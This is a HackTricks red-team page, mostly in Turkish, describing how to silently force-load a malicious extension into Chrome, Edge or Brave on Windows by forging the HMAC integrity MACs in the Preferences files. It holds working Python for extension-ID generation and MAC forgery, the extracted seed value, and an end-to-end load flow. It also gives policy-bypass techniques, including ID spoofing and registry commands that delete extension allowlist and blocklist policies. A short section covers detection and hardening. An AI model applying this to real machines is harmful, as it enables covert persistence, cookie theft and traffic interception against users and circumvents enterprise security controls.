Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

Windows üzerinde Chromium tabanlı tarayıcılarda bir kullanıcının Preferences/Secure Preferences dosyasını düzenleyip değiştirilmiş düğümler için geçerli HMAC'ler oluşturarak arbitrary uzantıları force-load eden stealthy post-exploitation technique. Chrome/Chromium, Edge ve Brave üzerinde çalışır. Yayın sırasında Chromium 130 ile 139 arasında uygulandığı gözlemlenmiştir. Hedef profilde basit bir disk yazma primitive'si, komut satırı bayrakları veya kullanıcı istemleri olmadan tam ayrıcalıklı bir uzantıyı kalıcı hale getirmek için yeterlidir.

Temel fikir: Chromium, kullanıcı başına uzantı durumunu bir JSON preferences dosyasında saklar ve bunu HMAC-SHA256 ile korur. Tarayıcının gömülü seed'i ile geçerli MACs hesaplayıp bunları injected nodes'ların yanına yazarsanız, tarayıcı uzantı girdinizi kabul eder ve etkinleştirir.

Uzantı durumunun bulunduğu yer (Windows)

  • Non–domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (kök "super_mac" içerir).
  • Domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Chromium tarafından kullanılan ana düğümler:
  • extensions.settings.<extension_id> → uzantı girdisi için gömülü manifest/metadata
  • protection.macs.extensions.settings.<extension_id> → o JSON blob için HMAC
  • Chromium ≥134: extensions.ui.developer_mode (boolean) paketlenmemiş uzantıların etkinleşmesi için mevcut olmalı ve MAC‑signed olmalıdır

Basitleştirilmiş şema (örnek):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Notlar:

  • Edge/Brave benzer yapıları korur. Koruma seed değeri farklı olabilir (Edge/Brave bazı build'lerde null/other seed kullandıkları gözlemlendi).

Uzantı ID'leri: path vs key ve bunları deterministik hale getirme

Chromium uzantı ID'sini şu şekilde türetir:

  • Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
  • Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p

Farklı hostlar arasında sabit bir ID korumak için, manifest.json içinde "key" altında sabit bir base64 DER public key gömün. ID, kurulum yolundan ziyade bu key'den türetilecektir.

Deterministik bir ID ve key pair üretmek için yardımcı:

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Oluşturulan public key'i manifest.json dosyanıza ekleyin ve ID'yi kilitleyin:

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Forging Preferences integrity MACs (core bypass)

Chromium, tercihlerdeki her düğümün "path" + serileştirilmiş JSON değeri üzerinde HMAC‑SHA256 kullanarak koruma sağlar. HMAC seed tarayıcının resources.pak dosyasına gömülüdür ve Chromium 139'a kadar hâlâ geçerliydi.

Seed'i GRIT pak_util ile çıkarın ve seed container'ını (test edilen build'lerde file id 146) bulun:

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

MACs (büyük harfli hex) olarak hesaplayın:

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Minimal Python örneği:

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Write the values under:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.

Uygulama ipuçları

  • Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
  • Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.

End‑to‑end silent load flow (Windows)

  1. Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
  2. Create extensions.settings. by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
  3. Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
  4. Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Install an allowed Web Store extension and note its ID
  2. Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
  3. Set that key as manifest.key in your modified extension to reproduce the same ID
  4. Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
  • Extension stomping (ID collision precedence)

  • If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*

  • With admin rights, delete/modify policy keys before writing your entries to avoid blocks:

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Gürültülü fallback: command-line loading

Chromium ≥137 sürümlerinden itibaren, --load-extension ayrıca şu parametrenin geçirilmesini gerektirir:

text
--disable-features=DisableLoadExtensionCommandLineSwitch

Bu yaklaşım yaygın olarak bilinir ve izlenir (ör. EDR/DFIR tarafından; Chromeloader gibi commodity malware tarafından kullanılır). Preference MAC forging daha gizlidir.

İlgili bayraklar ve daha fazla çapraz‑platform hilesi burada tartışılıyor:

macOS Chromium Injection

Operasyonel etki

Bir kez kabul edildiğinde, extension bildirilen izinleri ile çalışır; DOM erişimi, isteklerin yakalanması/yönlendirilmesi, cookie/storage erişimi ve ekran görüntüsü alma gibi imkanlar sunar — etkide tarayıcı içi kod yürütme ve kalıcı kullanıcı profilinde süreklilik sağlar. Aktivasyon Preferences üzerinden veri‑odaklı olduğundan SMB veya diğer kanallar üzerinden uzak dağıtım kolaydır.

Tespit ve sertleştirme

  • Preferences/Secure Preferences'e yazan non‑Chromium süreçlerini izleyin; özellikle protection.macs girdileriyle eşleşen extensions.settings altında yeni düğümler için
  • extensions.ui.developer_mode'ın beklenmedik olarak değiştirilmesine ve HMAC‑valid ancak onaylanmamış extension girdilerine karşı uyarı oluşturun
  • HKCU/HKLM Software\Policies üzerinde kurcalama için denetim yapın; politikaları cihaz yönetimi/Chrome Browser Cloud Management ile uygulayın
  • Sadece extension ID'ye göre eşleşen allowlists yerine, doğrulanmış yayıncılardan store üzerinden forced‑install'ı tercih edin

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin